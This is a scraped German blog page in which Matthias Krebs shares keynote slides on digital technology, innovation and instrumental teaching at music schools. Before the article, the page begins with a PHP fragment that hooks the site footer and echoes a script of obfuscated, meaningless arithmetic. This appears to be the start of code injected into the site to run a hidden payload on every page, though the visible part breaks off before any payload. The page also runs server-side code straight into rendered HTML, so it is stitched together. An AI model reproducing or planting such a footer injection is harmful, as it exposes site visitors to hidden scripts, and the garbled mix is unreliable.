add_action('wp_footer', function () { echo '<script>(function(){\nvar x418c5a=4309;\nif(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910}\nvar z64104a=y841319*18;\nvar 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				<h1 class="single_title">Digitale Musikschule &#8211; Instrumentalunterricht im paradoxen Spannungsfeld zwischen Neuheit und Bewährtem</h1>
		<p div class=home_box_meta style="font-size:12px; font-weight: 500; line-height: 19px;"> Matthias Krebs | 13. Juli 2018 </p>
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					<p>Digitale Technologien bieten nicht zuletzt einen Anlass etablierte Routinen zur Gestaltung von Lernumgebungen zu hinterfragen und Neues zu denken. Darin liegt ein großes und bislang noch weitgehend ungenutztes Potenzial, das sich Musikschulen erschließen können, wenn sie Bildungsangebote mit digitalen Technologien (weiter-)entwickeln.</p>
<p>Doch wie lassen sich die neuartigen Handlungsweisen, in die wir Smartphones und Apps integrieren, beschreiben und begreifen? Mit dem Begriff &#8222;Innovation&#8220; verbinden sich besonders bei Politiker*innen große Hoffnungen und Erwartungen, neue Antworten auf heutige und zukünftige Herausforderungen zu finden (bzw. gefunden zu haben). In der Debatte wird der Begriff &#8222;Innovation&#8220; häufig als gegebene Diskussionsgrundlage hingenommen und bleibt unreflektiert. Doch ein plattes Verständnis von Innovation überlässt die Entwicklung dem Zufall.</p>
<p>Die Keynote zum Musikschultag der Stuttgarter Musikschule am 4. Juli 2018 befasste sich mit digitalisierten Musikpraxen und beleuchtet Innovationsprozesse. Ziel war es mit diesem Vortrag den Musikschullehrkräften ein Orientierungsangebot zu bieten, um aktuelle (technische) Entwicklungen im Kontext institutionalisierter kultureller Bildungsangebote einschätzen und nutzbar machen zu können.</p>
<p><img class="aligncenter size-full wp-image-2698" src="http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Innovation-und-Instrumentalunterricht.jpg" alt="" width="1421" height="531" srcset="http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Innovation-und-Instrumentalunterricht.jpg 1421w, http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Innovation-und-Instrumentalunterricht-300x112.jpg 300w, http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Innovation-und-Instrumentalunterricht-768x287.jpg 768w, http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Innovation-und-Instrumentalunterricht-1024x383.jpg 1024w" sizes="(max-width: 1421px) 100vw, 1421px" /></p>
<p>Die hier veröffentlichten Folien verstehen sich als Skript und enthalten zusätzliche Erläuterungen und Beispiele:</p>
<div id="attachment_2701" style="width: 310px" class="wp-caption aligncenter"><a class="link-to-pdf" title="Digitale Musikschule und Innovation_MKrebs" href="http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Digitale-Musikschule-und-Innovation_MKrebs.pdf" target="_blank" rel="attachment noopener wp-att-2700"><img class="thumb-of-pdf wp-image-2701 size-medium" src="http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Digitale-Musikschule-und-Innovation_MKrebs-pdf-300x225.jpg" alt="thumbnail of Digitale Musikschule und Innovation_MKrebs" width="300" height="225" srcset="http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Digitale-Musikschule-und-Innovation_MKrebs-pdf-300x225.jpg 300w, http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Digitale-Musikschule-und-Innovation_MKrebs-pdf-768x576.jpg 768w, http://forschungsstelle.appmusik.de/wordpress/wp-content/uploads/2018/10/Digitale-Musikschule-und-Innovation_MKrebs-pdf.jpg 1024w" sizes="(max-width: 300px) 100vw, 300px" /></a><p class="wp-caption-text">Klicke hier auf’s Bild zum Download (pdf)</p></div>
<p>Wir möchten Sie herzlich zur Diskussion und zum Austausch einladen.</p>
<ul>
<li>Wie unterscheiden Sie zwischen Innovation und einer Mode?</li>
<li>Welche Meinung haben Sie zur Verwendung von Mobilgeräten im Instrumentalunterricht?</li>
<li>Wie sieht ein moderner Vokal- und Instrumentalunterricht aus?</li>
</ul>
		<div class="saboxplugin-wrap" itemtype="http://schema.org/Person" itemscope itemprop="author"><div class="saboxplugin-tab"><div class="saboxplugin-gravatar"><img alt='Matthias Krebs' src='http://2.gravatar.com/avatar/8a9c8bb9bb6bff7b934ad58d77f8da79?s=100&#038;r=g' srcset='http://2.gravatar.com/avatar/8a9c8bb9bb6bff7b934ad58d77f8da79?s=200&#038;r=g 2x' class='avatar avatar-100 photo' height='100' width='100' itemprop="image"/></div><div class="saboxplugin-authorname"><a href="http://forschungsstelle.appmusik.de/author/matzerak/" class="vcard author"><span class="fn">Matthias Krebs</span></a></div><div class="saboxplugin-desc"><div itemprop="description"><p>Matthias Krebs ist Universitätsassistent an der Universität MOZARTEUM (Salzburg) und Leiter der Berliner Forschungsstelle Appmusik. Seine Forschungsschwerpunkte betreffen: Digitale Medien in Lehre und Forschung, Kommunikation im Social Web, Netzkunst, Appmusik sowie Grundlagenforschung zum Musizieren mit digitalen Musiktechnologien.</p>
<p>Als Lehrbeauftragter ist der Diplom-Musik- und Medienpädagoge an mehreren deutschen Musikhochschulen sowie als Dozent für Weiter- und Fortbildungen und auch bei den Appmusik-Workshops bei <a href="http://app2music.de" target="_blank">app2music</a> aktiv.</p>
</div></div><div class="saboxplugin-web sab-web-position"><a href="http://matthiaskrebs.de" target="_blank" >matthiaskrebs.de</a></div><div class="clearfix"></div></div></div>	
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